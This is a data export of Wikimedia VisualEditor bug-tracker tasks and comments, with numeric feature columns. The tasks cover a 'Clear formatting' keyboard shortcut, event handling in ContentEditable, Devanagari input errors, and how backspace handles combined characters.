https://bugzilla.wikimedia.org/show_bug.cgi?id=56453",High,80.0,1374037140,1383284035.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-hju3hugjlttehugtvu7d,task_description,resolved,True,c1,3,True,False,False,2,,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,3.0,8.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,3.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,3.0,13.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,6.0,1.0,0.0,3.0,0.0,4.0,0.0,3.0,3.0,0.0,0.0,1.0,0.0,0.0,3.859154929577465,0.6619718309859155,"I think ""Clear formatting"" is important enough to justify a keyboard shortcut.  For example, there are cases where the formatting can unintentionally continue longer than you want, such as when you add a link.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL"
252473,"VisualEditor: Add a keyboard shortcut for ""Clear formatting""",Re-closing; have made bug 56453 for the suggestion to add a new one for other keyboards.,,,1383284035,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-hju3hugjlttehugtvu7d,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.65,0.95,Re-closing; have made bug 56453 for the suggestion to add a new one for other keyboards.
252470,"VisualEditor: Add a keyboard shortcut for ""Clear formatting""","(In reply to comment #7)
> Except there is no \ key on keyboards like the French one, so the shortcut is
> reported as not working (also, provoking weird behaviour I'll report
> elsewhere), since they should type CTRL + Alt Gr + 8. Can we do something
> about this? Thanks.

Weird behaviour reported on https://bugzilla.wikimedia.org/show_bug.cgi?id=53682",,,1378291458,,PHID-USER-o34e5i3eq4nstbvcf26w,True,,,PHID-TASK-hju3hugjlttehugtvu7d,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3181818181818183,0.7272727272727273,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE

Weird behaviour reported on URL"
252466,"VisualEditor: Add a keyboard shortcut for ""Clear formatting""","Except there is no \ key on keyboards like the French one, so the shortcut is reported as not working (also, provoking weird behaviour I'll report elsewhere), since they should type CTRL + Alt Gr + 8. Can we do something about this? Thanks.",,,1378127567,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-hju3hugjlttehugtvu7d,task_subcomment,,True,c1,3,False,,,9,,0.0,2.0,0.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,4.0,0.0,8.0,11.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,6.0,11.0,6.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.7169811320754715,0.8867924528301887,"Except there is no \ key on keyboards like the French one, so the shortcut is reported as not working (also, provoking weird behaviour I'll report elsewhere), since they should type CTRL + Alt Gr + 8. Can we do something about this? Thanks."
252463,"VisualEditor: Add a keyboard shortcut for ""Clear formatting""","Now merged and will go out with the next production push, probably tomorrow.",,,1375145540,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-hju3hugjlttehugtvu7d,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.266666666666667,1.0,"Now merged and will go out with the next production push, probably tomorrow."
252458,"VisualEditor: Add a keyboard shortcut for ""Clear formatting""","Change 76666 merged by jenkins-bot:
Add keyboard shortcut for 'clear' button

https://gerrit.wikimedia.org/r/76666",,,1375145481,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-hju3hugjlttehugtvu7d,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,11.0,21.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.157894736842105,0.9473684210526315,"Change 76666 merged by jenkins-bot:
Add keyboard shortcut for 'clear' button

GERRIT_URL"
252452,"VisualEditor: Add a keyboard shortcut for ""Clear formatting""","Change 76666 had a related patch set uploaded by Jforrester:
Add keyboard shortcut for 'clear' button

https://gerrit.wikimedia.org/r/76666",,,1375143259,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-hju3hugjlttehugtvu7d,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,9.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.5,0.9545454545454546,"Change 76666 had a related patch set uploaded by Jforrester:
Add keyboard shortcut for 'clear' button

GERRIT_URL"
252447,"VisualEditor: Add a keyboard shortcut for ""Clear formatting""",Ctrl + M might be a little friendlier.  I know from experience people confuse backslash and forward slash.  But I don't feel strongly about it.,,,1375139344,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-hju3hugjlttehugtvu7d,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,3.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,16.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,6.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.838709677419355,0.8709677419354839,Ctrl + M might be a little friendlier.  I know from experience people confuse backslash and forward slash.  But I don't feel strongly about it.
252438,"VisualEditor: Add a keyboard shortcut for ""Clear formatting""","I can see wanting to use Ctrl + Spacebar for a general whitespace inserter menu (nbsp/tab/etc.), so how about we go with Ctrl + \?",,,1375071949,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-hju3hugjlttehugtvu7d,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,3.0,9.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,12.0,12.0,3.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,6.0,3.1176470588235294,0.9117647058823529,"I can see wanting to use Ctrl + Spacebar for a general whitespace inserter menu (nbsp/tab/etc.), so how about we go with Ctrl + \?"
252433,"VisualEditor: Add a keyboard shortcut for ""Clear formatting""","Shortcuts used in other programs are:

Ctrl + Spacebar - Used by Word for ""Remove paragraph or character formatting.""/""Remove manual character formatting"" (http://support.microsoft.com/kb/290938).
Ctrl + \ - Used by Google Docs for ""Clear formatting"" (https://support.google.com/drive/answer/179738?hl=en)
Ctrl + M - Used by LibreOffice for ""Clear direct formatting"" (https://help.libreoffice.org/Common/General_Shortcut_Keys_in)",,,1375071593,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-hju3hugjlttehugtvu7d,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,31.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,11.0,18.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8870967741935485,0.5645161290322581,"Shortcuts used in other programs are:

Ctrl + Spacebar - Used by Word for ""Remove paragraph or character formatting.""/""Remove manual character formatting"" (URL
Ctrl + \ - Used by Google Docs for ""Clear formatting"" (URL
Ctrl + M - Used by LibreOffice for ""Clear direct formatting"" (URL"
53502,VisualEditor: Reduce event rapid fire in CE,"Right now the SurfaceObserver locks and unlocks a lot, firing a lot of events and stopping and restarting a lot. We should make locks wider so that this doesn't happen.

We should also eliminate cases where the SurfaceObserver responds to a DOM change that was actually made by VE itself, and we should change pawning to no longer go through the model.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1374029760,1384939424.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-vbuyxcfsri4ye35bdcvl,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,9.0,8.0,0.0,0.0,3.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,1.0,0.0,11.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,1.0,0.0,1.0,1.0,0.0,8.0,1.0,10.0,3.0,5.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,8.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,1.0,5.0,1.0,0.0,0.0,4.172413793103448,0.6436781609195402,"Right now the SurfaceObserver locks and unlocks a lot, firing a lot of events and stopping and restarting a lot. We should make locks wider so that this doesn't happen.

We should also eliminate cases where the SurfaceObserver responds to a DOM change that was actually made by VE itself, and we should change pawning to no longer go through the model.

--------------------------
**Version**: unspecified
**Severity**: major"
252199,VisualEditor: Reduce event rapid fire in CE,Yes.,,,1384939424,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vbuyxcfsri4ye35bdcvl,task_subcomment,,True,c1,3,True,,,20,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,Yes.
252194,VisualEditor: Reduce event rapid fire in CE,Can we now deem this to have been done?,,,1381347404,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vbuyxcfsri4ye35bdcvl,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1,1.0,Can we now deem this to have been done?
53477,VisualEditor: Typing in Devanagari puts vowels in unexpected places,"Typing in the Devanagari script causes very unusual placement of vowels in relation to consonants. The correct place to put the vowels is always after the preceding consonant, but the VisualEditor causes very strange placement.

To try, I used the standard Hindi InScript keyboard (not ULS IME, but the operating system's InScript keyboard). I tried to type the word ""अंग्रेज़ी"" (the Hindi name of the English language).

To get that word with the InScript keyboard, type the following keys on the English-US keyboard:

Dxidjs;]r

The expected result is ""अंग्रेज़ी"".

The actual result on Firefox 22 is ""अंग्ेच़ीर"".

The actual result on Chrome 28 is ""्रेची"".

I tried this with Firefox 22 on Fedora 18.

I mark this as blocker, because in this state the VisualEditor must not be widely deployed on a Wikipedia that uses the Devanagari script, such as Hindi (hi), Marathi (mr), Nepali (ne) or Sanskrit (sa) (there are a few more languages that use it). It's OK to have it as opt-in for testing on these wikis, though.

--------------------------
**Version**: unspecified
**Severity**: blocker",High,80.0,1374009180,1377202382.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-vs2q4kkygajmjexkudzc,task_description,resolved,True,c1,3,False,False,True,2,,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,4.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,2.6666666666666665,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,2.3333333333333335,9.333333333333334,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.0,10.333333333333334,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,7.0,2.0,13.666666666666666,0.3333333333333333,1.0,8.666666666666666,0.0,0.0,0.0,0.0,3.0,0.3333333333333333,1.6666666666666667,0.0,2.6666666666666665,9.333333333333334,10.333333333333334,0.0,2.6666666666666665,0.0,2.6666666666666665,0.0,0.6666666666666666,0.6666666666666666,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,3.785907859078591,0.6328415136003213,"Typing in the Devanagari script causes very unusual placement of vowels in relation to consonants. The correct place to put the vowels is always after the preceding consonant, but the VisualEditor causes very strange placement.

To try, I used the standard Hindi InScript keyboard (not ULS IME, but the operating system's InScript keyboard). I tried to type the word ""अंग्रेज़ी"" (the Hindi name of the English language).

To get that word with the InScript keyboard, type the following keys on the English-US keyboard:

Dxidjs;]r

The expected result is ""अंग्रेज़ी"".

The actual result on Firefox 22 is ""अंग्ेच़ीर"".

The actual result on Chrome 28 is ""्रेची"".

I tried this with Firefox 22 on Fedora 18.

I mark this as blocker, because in this state the VisualEditor must not be widely deployed on a Wikipedia that uses the Devanagari script, such as Hindi (hi), Marathi (mr), Nepali (ne) or Sanskrit (sa) (there are a few more languages that use it). It's OK to have it as opt-in for testing on these wikis, though.

--------------------------
**Version**: unspecified
**Severity**: blocker"
250407,VisualEditor: Typing in Devanagari puts vowels in unexpected places,master looks good to me. Thanks!,,,1377206151,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-vs2q4kkygajmjexkudzc,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.375,1.0,master looks good to me. Thanks!
250400,VisualEditor: Typing in Devanagari puts vowels in unexpected places,"Given that this is now merged, I'm going to mark this as fixed. However, this is provisional - please re-open if you think that this has not worked!",,,1377202382,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vs2q4kkygajmjexkudzc,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,3.0,3.0,6.0,3.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,9.0,0.0,11.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.4571428571428573,0.8,"Given that this is now merged, I'm going to mark this as fixed. However, this is provisional - please re-open if you think that this has not worked!"
250395,VisualEditor: Typing in Devanagari puts vowels in unexpected places,"Change 80080 merged by jenkins-bot:
Don't emit Surface changes back to the Surface

https://gerrit.wikimedia.org/r/80080",,,1377164925,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vs2q4kkygajmjexkudzc,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.15,0.95,"Change 80080 merged by jenkins-bot:
Don't emit Surface changes back to the Surface

GERRIT_URL"
250390,VisualEditor: Typing in Devanagari puts vowels in unexpected places,"Change 80080 had a related patch set uploaded by Jforrester:
WIP:Don't emit Surface changes back to the Surface

https://gerrit.wikimedia.org/r/80080",,,1377027648,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vs2q4kkygajmjexkudzc,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,29.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.458333333333333,0.9166666666666666,"Change 80080 had a related patch set uploaded by Jforrester:
WIP:Don't emit Surface changes back to the Surface

GERRIT_URL"
250387,VisualEditor: Typing in Devanagari puts vowels in unexpected places,"Hi, thanks for the detailed error description with the en-US key equivalents -- it really helps!

I *think* this is resolved by the following patch: https://gerrit.wikimedia.org/r/#/c/79451 . At least, the patch seems to fix the ""hindi inscript (m17n)"" ibus method on Linux.",,,1376935627,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-vs2q4kkygajmjexkudzc,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,11.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,4.0,11.0,7.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.517857142857143,0.8392857142857143,"Hi, thanks for the detailed error description with the en-US key equivalents -- it really helps!

I *think* this is resolved by the following patch: URL . At least, the patch seems to fix the ""hindi inscript (m17n)"" ibus method on Linux."
53472,VisualEditor: Backspace deletes combined character clusters together with diacritics,"Some scripts, among them Arabic, Hebrew, and most scripts of India and SE Asia, are written as combinations of consonants and vowel marks that combine with them.

In most text editors and word processors, when the cursor is after a combination of a consonant and a vowel, and the backspace key s pressed, the vowel is deleted first and the the consonant.

For example if you have the Devanagari combination गा (ग [g] + ा [a]), these are two Unicode characters, which the font joins automatically. If the cursor is after them and you press the backspace key, then the second character ( ा) is supposed to be deleted, and only then the first (ग). That is what happens in most text editors, including MediaWiki's source editor.

In the VisualEditor, backspace immediately deletes the whole cluster. This behavior is unexpected for most users.

To complicate things, when the cursor is before the combined character and the Delete key is pressed, the expected behavior is to delete the whole cluster. This is what happens in the VisualEditor now, and this must be kept like that. For cursor movement, back and forth, the cluster must also be treated as one character, so if the cursor is before गा and the right-pointing arrow is pressed, the cursor is supposed to immediately go after the गा. This also works correctly now, and must be kept.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49233
https://bugzilla.wikimedia.org/show_bug.cgi?id=53757",High,80.0,1374007020,1385506960.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-cfoc7zk5vj22ygiycyil,task_description,resolved,True,c1,3,False,False,False,2,,0.25,0.0,0.0,2.75,0.0,4.0,1.5,0.0,0.0,0.75,1.5,0.0,0.0,0.25,0.0,0.0,0.0,5.0,7.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.25,1.25,0.0,0.25,0.5,0.0,0.25,0.25,0.0,0.0,0.75,1.25,1.75,0.0,0.25,0.0,0.25,0.0,12.0,1.25,0.5,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.25,0.25,0.25,0.0,0.25,0.0,7.0,5.0,7.5,1.25,4.25,9.25,0.0,0.0,0.0,0.0,2.25,0.0,0.5,0.0,1.25,7.0,3.5,0.0,0.0,0.0,1.25,0.0,1.5,0.75,0.75,0.5,0.0,1.0,1.75,3.895979020979021,0.6343240093240093,"Some scripts, among them Arabic, Hebrew, and most scripts of India and SE Asia, are written as combinations of consonants and vowel marks that combine with them.

In most text editors and word processors, when the cursor is after a combination of a consonant and a vowel, and the backspace key s pressed, the vowel is deleted first and the the consonant.

For example if you have the Devanagari combination गा (ग [g] + ा [a]), these are two Unicode characters, which the font joins automatically. If the cursor is after them and you press the backspace key, then the second character ( ा) is supposed to be deleted, and only then the first (ग). That is what happens in most text editors, including MediaWiki's source editor.

In the VisualEditor, backspace immediately deletes the whole cluster. This behavior is unexpected for most users.

To complicate things, when the cursor is before the combined character and the Delete key is pressed, the expected behavior is to delete the whole cluster. This is what happens in the VisualEditor now, and this must be kept like that. For cursor movement, back and forth, the cluster must also be treated as one character, so if the cursor is before गा and the right-pointing arrow is pressed, the cursor is supposed to immediately go after the गा. This also works correctly now, and must be kept.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL
URL"
250125,VisualEditor: Backspace deletes combined character clusters together with diacritics,"Change 80689 merged by jenkins-bot:
Revert model to use simple UTF-16 code units

